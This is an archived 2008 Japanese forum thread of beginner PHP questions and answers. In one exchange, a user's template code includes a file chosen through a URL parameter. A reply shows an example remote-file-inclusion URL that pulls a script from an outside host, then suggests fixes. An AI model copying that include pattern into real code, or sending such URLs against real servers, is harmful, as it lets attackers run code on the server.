トップページphp
1001コメント318KB

【PHP】下らねぇ質問はここに書き込みやがれ 71

■ このスレッドは過去ログ倉庫に格納されています
0001nobodyさん2008/07/17(木) 19:42:52ID:DVaNTncw
まず読め→【PHP マニュアル】http://www.php.net/manual/ja/
PHPで最良の教本はこの公式マニュアル。市販の書籍は嘘が多いので鵜呑みにしない。
過去スレ、関連スレ、FAQなどは>>2-10辺り
次スレは>>980が立てる。10分以内に立たない場合、宣言してから立てたい人が立てること。

◆前スレ
【PHP】下らねぇ質問はここに書き込みやがれ 70
http://pc11.2ch.net/test/read.cgi/php/1214356448/

◆質問する時の注意
・ 自分のIDを表示させること。(メール欄に何も記述しないこと。空白も入力しちゃダメ)
・ サーバーのOS(Linux、Windows他)、WebサーバーとPHPの種類やバージョン等を明記すること。
・ 己の行った操作、変更などを詳しく明記すること。
・ エラーメッセージはそのまま表記すること。「エラーが出ます」だけでは回答不可。
・ 質問者として、態度をわきまえること。
・ 事前に公式マニュアル、リファレンス本くらいはちゃんと目を通しておくこと。

◆質問後の注意
・偽者防止に必ずIDを表示させること。(メール欄に何も記述しない)
・2回目以降は最初に質問した際のレス番号を名前欄に入れること。
・解決しなくても回答をもらった場合はお礼を言うこと。
 (荒らし、煽りは除く。煽られたときも、無闇に反論せずスルーすること。)

◆回答者への注意
・誰にレスしているのか分からないと困るので、>>(アンカー)をつけて回答すること。

【その他諸注意】
・正規表現・PEAR・テンプレート(Smarty等)・フレームワークは各該当スレへ
・SQLについての質問はデータベース板(PCカテゴリ)の各スレで
0717nobodyさん2008/08/08(金) 01:45:54ID:???
>>716
http://jp.php.net/gd
http://jp2.php.net/imagick
http://pecl.php.net/package/imagick
0718nobodyさん2008/08/08(金) 01:46:15ID:???
GDで出来そうだな。
処理の流れとしてはsubmitしたときにセッションIDを割り付けてユニークなURLをつくり
JavaScriptのXMLHttpRequestでセッションIDを投げる。
受けるほうはXMLHttpRequestでlistenしなくてもimgタグのsrcを変更すればすむな。
07197142008/08/08(金) 01:56:31ID:???
>>717>>718
かなり参考になりました!ありがとうございます!
0720nobodyさん2008/08/08(金) 15:00:01ID:???
すげーばかww
0721nobodyさん2008/08/08(金) 15:56:19ID:???
preg_replace_callbackを使って特定の文字を別の文字へ変換しようとしています

拡張子を含んだ文字列であり、空白や<br>が来るまでを抽出したいのですが
その拡張子が不定なため、
"files_[A-Za-z]+\..+ "など試しています。
しかしこの場合は空白も持っていかれてしまい結果がくるってしまいます。

空白や<br>特定の文字を抽出し、しかし空白や<br>はパターンにハマらないようにするには
どのようにしたらよいでしょうか。
0722nobodyさん2008/08/08(金) 15:57:09ID:5aObnylF
すみません
IDをだし忘れました>721です
0723nobodyさん2008/08/08(金) 16:26:17ID:EUK3hcbO
予定があり外出しているので携帯からですが

拡張子という事を考えると締めの部分を
\.[0-9A-Za-z]+
とすればでうまく出来そうですね

失礼しました
0724nobodyさん2008/08/08(金) 21:06:31ID:vetvuCDP
http://www.2ch.net/2ch.php?saba=a
のようにパラメータもたせて

<?php
$saba = $_GET[saba];

if($saba == ""){
$saba = 1;
}
switch ($saba){
case 1; $file = "PHP"; break;
case 2; $file = "RERL"; break;
}
html部分
include("$file.php");
<img scr="$file.gif">
html部分
?>

のようにテンプレ表示させるものを組みました。
脆弱性があったらしくサーバを不正利用されてしまいました。
自分で考えてみて
・switchにdefaultをいれなかった
・一部にパーミッションの設定を忘れた(これは直しました)
・.htaccessでindexなしはエラーになるようにしてるのでindex.htmlを作らなかった
など思いついたのですが、自分で気づいていないだけで悪い部分があるのでしょうか?
0725nobodyさん2008/08/08(金) 21:40:42ID:???
>脆弱性があったらしくサーバを不正利用されてしまいました
詳しく
0726nobodyさん2008/08/08(金) 21:44:20ID:vetvuCDP
>>725
いつの間にやら変なファイルがアップされてました。(自分のファイルではありません)
ちなみにファイルアップロード機能はつけてません。
0727nobodyさん2008/08/08(金) 22:18:36ID:???
>>724
外してるかもしれないけど、
>・switchにdefaultをいれなかった
register_globalsがonで
allow_url_opnもonだと
やられちゃうね
http://www.2ch.net/2ch.php?saba=3&file=http://www.example.com/crack-php-script.txt
とかで任意のスクリプトが>>724のサーバー上で実行できる

switch文のdefaultは当然書くとして、
register_globalsはoffに、
includeしてるファイルは動的なコンテンツ?
静的な(ただのhtmlファイル)にして
echo file_get_contents("$file.html");
に出来ないのかな?
0728nobodyさん2008/08/08(金) 22:44:37ID:???
>>727
書き忘れていました(すみません)がレンタルサーバなのでiniファイルの確認ができません。
defaultを付け加えるのとecho file_get_contents("$file.html")で作り直して
register_globalsについては問い合わせてみます。
ありがとうございました。
07297282008/08/08(金) 22:46:19ID:vetvuCDP
間違えてsageチェックしてしまいました。
>>724=>>728です。
0730nobodyさん2008/08/08(金) 22:51:05ID:4kmu6RVl
マイクロソフトのサイトのWindowsUpdateなど、
サーバー側で処理している際に進捗状況を表示させるサイトがありますが、
あれって、phpでどうやるのでしょうか?

画面が変わらずに進捗バーだけが変わる処理って、
設計すら想像ができないのですが、
キーワードだけでもいいので、教えて頂けませんか?
0731nobodyさん2008/08/08(金) 22:51:23ID:???
SMTPでソケット通信してるんですが、telnetでehlo localhosとか送信すると
250-localhost
250-PIPELINING
250 8BITMIME
なんて返ってくると思います。

ストリームを開いた後fgets()を2回実行すれば2回目で「250-PIPELINING」が取れるかと思いきや、
反応が返ってきません。(1行目は返ってくる)
どうやれば2行目を取得できるのでしょうか。
07327002008/08/08(金) 22:51:35ID:+1/Xusuf
昨日の質問(>>700)に関して追加で聞きたいことがあるのですが、
今度は書き込みに関して、書き込むデータのサイズが1バイトである場合にはアトミックであることが保障されますか?
アトミックでないことを確認するのは簡単なんですが、アトミックであることを確認するのは難しく困っております。
どなたかわかるかたよろしくお願いします。
0733nobodyさん2008/08/08(金) 23:10:24ID:???
>>730
Ajax
0734nobodyさん2008/08/08(金) 23:57:15ID:fWWc32nm
php初心者です。

データベースプログラムを書いています。
ph_connect関数を使用してPostgreSQLサーバに接続を行っていますが、
接続に成功 or 失敗したかの戻り値が返却されません。
原因がわかりませんので教えてください。


開発環境は以下の通りです。
■linux
■Apache2.2.8
■PostgreSQL8
■PHP5
0735nobodyさん2008/08/08(金) 23:59:58ID:???
PHPってregister_globalsとか糞な言語だな
0736nobodyさん2008/08/09(土) 00:01:33ID:???
>>734
var_dump
error_reporting
display_errors
0737nobodyさん2008/08/09(土) 00:01:42ID:I6AK6Coj
php初心者です。

データベースプログラムを書いています。
ph_connect関数を使用してPostgreSQLサーバに接続を行っていますが、
接続に成功 or 失敗したかの戻り値が返却されません。
原因がわかりませんので教えてください。


開発環境は以下の通りです。
■linux
■Apache2.2.8
■PostgreSQL8
■PHP5
0738nobodyさん2008/08/09(土) 05:37:49ID:???
ITが高度に進んだ現在、
課長、部長は要らないんですよ。

天才的なエンジニアが一人いて、
それを補佐する秘書役が数人要ればいいんです。

いすに座って、前時代的な価値観で決済する課長や部長に何の価値がありますか?
0739nobodyさん2008/08/09(土) 07:16:36ID:???
エンジニアに秘書とか頭沸いてるんじゃね?
0740nobodyさん2008/08/09(土) 07:32:00ID:???
>>739
お前馬鹿だなw
堀江も元々はエンジニアだったんだよ。
途中から、お金に目がくらんで買収の道に進んじゃったが。
0741nobodyさん2008/08/09(土) 08:30:24ID:???
馬鹿なのはお前だろ知ったそぶりで物語るな
堀江は経営者であって技術者ではない
元々って経歴も調べずに適当なことをいうな
東大在学中にベンチャー起業して中退したんだろ
東大に入ったのも人脈を作るためだけ(テレビでそう語ってる)
仮に堀江がエンジニアだったとしてもエンジニア時代に秘書とかつくわけなかろう
0742nobodyさん2008/08/09(土) 08:46:05ID:CO+6pVsH
質問です
文字数制限最大10文字でフォーム入力を受け付けて、sqlでのカラムの最大文字数も
10文字を設定しているとき、「"12345678"」という入力値を入れられた場合、
クエリ直前でaddslashes()したら実際の送信値は\"123456789\"となりSQL側での
文字数制限はオーバーしてしまいエラーになります。
この問題はどうクリアしたらいいんでしょう?
送信前の文字数チェックの段階ではSQLでの文字数制限の2倍まで許可すればいいんでしょうか?
0743nobodyさん2008/08/09(土) 08:55:30ID:???
>>742
カラムのサイズを大きくするなり、
POSTされてきたデータを正しく処理してから、
格納すれば良いだけの話。
0744nobodyさん2008/08/09(土) 08:55:52ID:???
addslashesなんて使わない
0745nobodyさん2008/08/09(土) 12:44:04ID:???
>>741
これだから馬鹿は・・・ペラの資料で読んだことが全てだとでも?
実際エッジ時代の堀江は技術者でもあったんだよ。

てゆーか弱小ベンチャーに専任技術者なんているわけないだろ。
人なんていないんだから、社長だからって経営だけしてりゃいいってもんじゃないんだよ。
営業やら開発やら、果ては使いっぱにやらせるようなことまで全部やるんだよ。
0746nobodyさん2008/08/09(土) 13:07:01ID:???
>>745
ベンチャーといっても1人でやるわけないだろ。
兄弟でやっている会社で兄は営業、弟は開発っていうところも知っている。
本当に全部やるのは個人でやっているやつだけ。
妄想を語るのは構わないがスレ違いなのに気づいてくれ。
0747nobodyさん2008/08/09(土) 13:40:42ID:???
よそ逝けガキども
0748nobodyさん2008/08/09(土) 13:44:49ID:???
>>742
なんで9が増えてんねん
0749nobodyさん2008/08/09(土) 13:59:22ID:???
そりゃ困るなw
0750nobodyさん2008/08/09(土) 16:18:34ID:dbZpQNfP
あるPHPスクリプトをWebサーバーでうごかしたら所有者がapacheの削除できないディレクトリとファイルを
勝手に作られてしまいました。

アンインストールしてもこれらのディレクトリとファイルがのこってしまってるのですが削除するには
どうすればいいのでしょうか?

話によるとPHPスクリプトなどで削除するしかないらしいとのことですが、こうしたディレクトリとファイルを
削除するスクリプトなどがあるようでしたた教えて頂けませんか?
0751nobodyさん2008/08/09(土) 17:01:52ID:???
>>748
ぶははは
0752nobodyさん2008/08/09(土) 17:03:18ID:???
>>750
rmdir
unlink

PHP関数を知りたいんじゃなくて制作依頼なら、ここは自分で作りたい人のスレなのでどこか別スレへ
0753nobodyさん2008/08/09(土) 17:47:25ID:???
>>752
どうもありがとうございます。
適当に↓のようにやったらできました。

$files = glob( "dir/*" );
foreach( $files as $file ){
unlink($file);
}
rmdir( "dir" );
0754nobodyさん2008/08/09(土) 18:21:46ID:q0bTOCvY
あるPHPスクリプトをWebサーバーでうごかしたら所有者がapacheの削除できないディレクトリとファイルを
勝手に作られてしまいました。

ファイルを削除するPHPスクリプトを使って削除しましたが、
あるPHPスクリプトで作ったファイルの所有者がapacheになるってことは
同じサーバの別の人のPHPスクリプトが作ったファイルの所有権もapacheってことですよね?

ファイルを削除するPHPスクリプトを使って自分のファイルを削除しましたが、
パスを変えれば、他人のスクリプトも削除できるってことじゃないですか?
0755nobodyさん2008/08/09(土) 18:22:51ID:???
やってみれば
0756nobodyさん2008/08/09(土) 19:00:16ID:q0bTOCvY
やってみませんよ。そんな悪いこと。

でも他人がやるかもしれませんよね?
0757nobodyさん2008/08/09(土) 19:01:01ID:???
誰もやらんよそんなこと。
0758nobodyさん2008/08/09(土) 19:12:07ID:z9jw78px
>>754
同じサーバの別の人のPHPスクリプトが作ったファイルの所有権もapacheってことですよね?

所有権はphpで自由に変更できるから、必ずしも所有権がapacheになるわけではない
HomeディレクトリはUnix権限が絡むから単純に所有権がapacheでも削除できないと思う
/var/www/html で共有してるなら別かもしれないけど
0759nobodyさん2008/08/09(土) 19:18:53ID:ldipYcTh
"nph-test.php"というファイルを作りました。
httpレスポンスをキャプチャしたものをコピペして
echoで出力してみたんだけど、サーバーにヘッダを
つけられててnphとして動いていないみたいです。
何かphpとかIISとかに設定が必要なんでしょうか?

何のためにそんなことしてるのかというと、ちょっと
したテストなので気にしないで下さい。
0760nobodyさん2008/08/09(土) 19:21:28ID:???
超エスパーが回答

nphって鯖を介さないのが前提だからapacheモジュールだと機能しないんじゃね?
0761nobodyさん2008/08/09(土) 20:57:40ID:???
超PHPerが珍答

IISって書いてあるけど?
0762nobodyさん2008/08/09(土) 23:05:38ID:CO+6pVsH
質問します
phpでプログラムを書いていたら、動かすときにやたら時間がかかります。
機能としては、履歴書の項目をDBに登録・引き出してフォームにプリセット・そこからダイレクトに編集と保存
ってくらいのものです。(一度に操作されるカラムは最大で70個、全部同じテーブル) それで、
・動かし始めてしばらくの間はサクサク動く、登録もデータ引き出しも再登録もサクサク
・しばらくブラウザを閉じずにいじってると遅くなる。画面にフォームが映るまで20秒とか、酷いときは30秒でタイムアウト。

これって、何が原因なんでしょう? 根本的にはソースを見せなきゃわからないとは思いますが、
それは無理なんですが、、マシンが遅いとかありえるでしょうか?
プログラムそのものが悪いなら、最初だけサクサク動くっていうのがわかりません
しばらく時間が経つ(何度かページ移動を繰り返す)と処理が遅くなるという条件の場合、
どういった原因の可能性が考えられるでしょうか? 無茶な質問ですみません
php5 apache2 mysql5 winXP Pen3-900Mhzのマシンで動かしてます
0763nobodyさん2008/08/09(土) 23:10:23ID:???
>>762
>phpでプログラムを書いていたら、動かすときにやたら時間がかかります。
自分で答えだしてますがな
>php5 apache2 mysql5 winXP Pen3-900Mhzのマシンで動かしてます

0764nobodyさん2008/08/09(土) 23:15:18ID:???
>>762
ブラウザ閉じたて開きなおしたら動作は戻るの?

そうならブラウザとかクライアント環境の問題だと思うが。
もしくはセッションデータが異常に巨大化してるとか、コネクションプールがおかしくなってるとか。
0765nobodyさん2008/08/09(土) 23:33:58ID:???
まったくプログラム組めない釣り師が1名ほど常駐してるなw
07667622008/08/09(土) 23:43:16ID:CO+6pVsH
>>763-764
ありがとうございます やっぱりスペックがしょぼ過ぎるのかなぁ
平行してフォトショとか動かしまくってます(メモリは512)
セッションデータが巨大化してるっていうのは考えても見ませんでした
確認します echo $_SESSION;でいいのかな? また質問するかもしれませんが
よろしくお願いします
0767nobodyさん2008/08/09(土) 23:49:57ID:???
お前は何を言ってるんだ
0768nobodyさん2008/08/10(日) 01:54:05ID:???
http://www.igros.net/workroom/bbs/workroom4-12.html
このサイトのプログラムを丸々コピー、bbs.phpとしてサーバーにアップロードしてみたのですが、入力フォームだけ表示されて、後はメッセージを送信しても何の返答もありません。
これはこのサイトのプログラムが間違っているのでしょうか?それともこちら側に問題があるのでしょうか?
エラーメッセージも表示されない為、何がなんだか分からなくなってしまいました。

サーバーはさくらインターネットプレミアム、PHPのバージョンはPHP 5.2.6です。
設定等は一切弄っておりません。
0769nobodyさん2008/08/10(日) 01:55:28ID:???
コード古すぎ
07707682008/08/10(日) 01:56:00ID:z5q4t0dA
>>768です
ID出し忘れました。
0771nobodyさん2008/08/10(日) 01:59:10ID:???
>>769
そうなんですか
phpをはじめたのはこれが始めてでよくわからないのですが、php4とphp5では大幅な仕様変更がされていると言うことでしょうか?
だとしたら、php4の講座は使い物になりませんよね・・
0772nobodyさん2008/08/10(日) 02:02:16ID:???
>>771
php4とphp5は別物と考えても良い。
今なら当然php5。
0773nobodyさん2008/08/10(日) 02:08:33ID:z5q4t0dA
>>772
php5向けの講座を探してみます
ありがとうございました。
0774nobodyさん2008/08/10(日) 03:28:06ID:c6gQIYUS
PEAR使ってキャッシュ生成したんだけどキャッシュファイルが見えないもの?
でも指定したディレクトリ消そうとするとキャッシュファイルが存在してる
なんで?

PHP5
サーバ:さくら
0775nobodyさん2008/08/10(日) 03:51:01ID:???
日本語で
0776nobodyさん2008/08/10(日) 04:18:01ID:c6gQIYUS
はてなで同類の質問見つけたんだけどFFFTPでディレクトリ見ると空状態。
キャッシュ収納用に指定したディレクトリのパーミッションは777に設定。
ディレクトリが見た目が空状態なんでディレクトリを消そうとすると
Cache_ごにょごにょファイルが存在しているって表示される
理由分かる人お願いします
0777nobodyさん2008/08/10(日) 04:19:33ID:???
>>776
>>753
0778nobodyさん2008/08/10(日) 06:27:37ID:vDTyiIHP
ログファイルのサイズが2Gになっていて、
それ以上書き込めずエラーになっていました。
ですが、ファイルシステムはext3で、
ファイルシステム自体には、2Gのファイルサイズ制限なんてないはずです。
「PHPで書き込めるファイルサイズの制限」ってありますか?
0779nobodyさん2008/08/10(日) 08:36:27ID:???
ディスクフルというオチではないよな
0780nobodyさん2008/08/10(日) 11:00:27ID:???
ファイルポインタが32ビット符号付だからじゃねーの?
0781nobodyさん2008/08/10(日) 11:37:20ID:???
それはメモリマップドファイル
07827742008/08/10(日) 11:40:20ID:???
>>775>>777
日本語わからないチョウセンモドキは無理してレスしなくてもいいよ
0783nobodyさん2008/08/10(日) 11:51:41ID:???
はいはい
07847742008/08/10(日) 12:06:16ID:???
>>783
いや毎度レスつまんないから来なくていいよ
0785nobodyさん2008/08/10(日) 12:26:28ID:???
日本語とか朝鮮語とか煽りあわずに、PHPスレなんだからPHPという言語で問題を示したら
お互い意思疎通がスムーズになると思うんだ。
0786nobodyさん2008/08/10(日) 12:39:43ID:???
return true;
0787nobodyさん2008/08/10(日) 12:45:45ID:???
die;
07887742008/08/10(日) 12:48:17ID:???
>>786>>787
つまらなすぎ。ほんとセンスねぇなお前ら
0789nobodyさん2008/08/10(日) 14:08:24ID:???
phpに関係ないから気の利いたレスはできないよ
0790nobodyさん2008/08/10(日) 15:35:27ID:???
俺はPHPに関係があっても気の利いたレスなんてできないぜっ!
0791nobodyさん2008/08/10(日) 21:09:42ID:???
世界最大の地域密着型のIT組織
http://money6.2ch.net/test/read.cgi/manage/1218367774/
0792nobodyさん2008/08/10(日) 23:04:05ID:+zJ2I0fE
別スレで聞いたのですが誰も答えられなかった質問です。

コメントの書き方についてですが
質問@ ユーザー変数を英語で書く場合みなさんはどう書きますか?
質問A システム変数についても普通はこう書くみたいな定番はありますでしょうか?

例えば
<?php
# user settei ←質問@(あなたならどう書く?)
$pass = 'abc';

# system settei ←質問A(ここも英単語でどう書く?)
$a = $pass;

とこのようにコメントの書き方に付いての質問ですがよろしくお願いします。
0793nobodyさん2008/08/10(日) 23:12:24ID:???
>>792
フレームワークのソース見れ
0794nobodyさん2008/08/10(日) 23:16:51ID:???
>>793
フレームワークもいろいろあるので
みんなのコメントはどう書いてるのかな?と思ったので。
まあどうでもいいですね。ごめんなさい。
0795nobodyさん2008/08/10(日) 23:44:49ID:???
PEARのソース見たらいいんじゃね?
0796nobodyさん2008/08/11(月) 05:44:17ID:???
>別スレで聞いたのですが誰も答えられなかった質問です。

やたら挑戦的なのはなぜなんだぜ
07977782008/08/11(月) 08:12:30ID:y4BtjT7Y
ddで5Gのファイルを作成すると、作成できました。
またRubyでそのファイルへの追加をしてみたところ、出来ました。
どうやらこれはPHPの制限のようです
エクステンション等で解決できるのか、わかりませんが
0798nobodyさん2008/08/11(月) 15:38:43ID:4sR4BI/C
>>797
ぐぐってみた?
http://www.phppro.jp/news/75
http://jp2.php.net/manual/ja/intro.filesystem.php
0799nobodyさん2008/08/11(月) 17:59:04ID:???
”グーグルを超える組織を創ろう”
http://money6.2ch.net/test/read.cgi/manage/1218367774/
「スイッチボード型収益モデルの地域密着型IT事業」

お仕事相談受けますよ(ニヤリ)
0800nobodyさん2008/08/11(月) 18:37:23ID:???
PHPにJavaScriptって必要なんですか?
0801nobodyさん2008/08/11(月) 18:40:37ID:???
自動車にカーナビって必要なんですか?
0802nobodyさん2008/08/11(月) 18:45:02ID:???
>800
PHPとJavascriptは別物。
ウェブシステムをPHPで作る場合、
・ 画面のフォームに入力して送信ボタンを押してサーバから結果を返せばいい場合、Javascriptは不要
・ googlemapの様にマウスの動きで画面が変わるような場合、Javascriptは必要
・ フォーム入力で、他の入力を元にプルダウンメニューの中身等を変える場合、Javascriptは必要
0803nobodyさん2008/08/11(月) 18:46:11ID:???
像のエサに毒を入れるのって必要なんですか?
0804nobodyさん2008/08/11(月) 18:55:10ID:???
ひきこもりに2chって必要なんですか?
0805nobodyさん2008/08/11(月) 20:03:34ID:???
801へ
必要。ないと僕は運転できません。
803へ
なんてこというんだ。君は
804へ
必要。いいかいひきこもりは自称自宅警備員をしているらしい。
僕は今週で卒業だが、名残惜しい。
ひきこもりに休憩として、またヒッキーが巡回パタロールをしている
から2ちゃんが安全なんだ。
わかるかな
0806nobodyさん2008/08/11(月) 20:09:15ID:???
>>805
すみません、どこらへんを立て読みですか><?
0807nobodyさん2008/08/11(月) 20:15:51ID:???
夏だね
ガキが湧いてきた
0808nobodyさん2008/08/11(月) 20:25:08ID:???
>>805
アンカーも出来ないなら読むだけにしろ。
0809nobodyさん2008/08/11(月) 20:28:12ID:???
806へ
立て読みって何ですか?
808へ
アンカーなら去年の体育大会でやりました。
0810nobodyさん2008/08/11(月) 20:29:35ID:???
>>802
つまり優先順位は低いってこと?
0811nobodyさん2008/08/11(月) 20:33:48ID:???
810へ
優先順位は自分が何を優先するかによって決まります。
自分の胸に聞きましょう。
0812nobodyさん2008/08/11(月) 20:33:52ID:???
>>810
PHPとJavaScriptが何なのかをまずWikipediaあたりで調べて来い
優先順位とか謎なこといってるあたりよくわかってないんだろ
0813nobodyさん2008/08/11(月) 20:34:43ID:???
>>1を見ない回答者は回答しなくていい
0814nobodyさん2008/08/11(月) 20:40:29ID:???
>>1を見ない質問者には回答しなくていい
0815nobodyさん2008/08/11(月) 20:52:19ID:???
>>810
違う。
PHPはサーバで動くモノ。Javascriptは、クライアントで動くモノ。

処理結果を表示するのに、一々サーバに問い合わせて画面全体を書き換えて処理するなら PHP:必要 JavaScript:不要
AJAXアプリみたいに非同期通信をしたり、入力チェックをクライアント側で済ませたりするなら PHP:必要 JavaScript:必要
サーバとの通信が不要なソフト(簡易ゲームやら画面の飾りやら)なら PHP:不要 JavaScript:必要

JavaScriptの部分は、FlashやJavaアプレット、VBScript(※)に置き換え可能 (※:クライアントをIEに限定する場合)
(PHPスレ的には余談だが、PHPの部分はASPやJSP、Perlなどに置き換え可能)

ケイタイ相手とか、古いブラウザ相手なら別だが、今はクライアント側で(暫定的に)入力チェックぐらいしとくのが一般的。
(もちろん、クライアント側のチェックはページ捏造で回避されたりするから、サーバ側で再チェックは必要だが・・・。)
送信ボタン→入力エラーだと、使い勝手が悪いウェブアプリになる罠。
0816nobodyさん2008/08/11(月) 21:23:35ID:???
>>815
5点
■ このスレッドは過去ログ倉庫に格納されています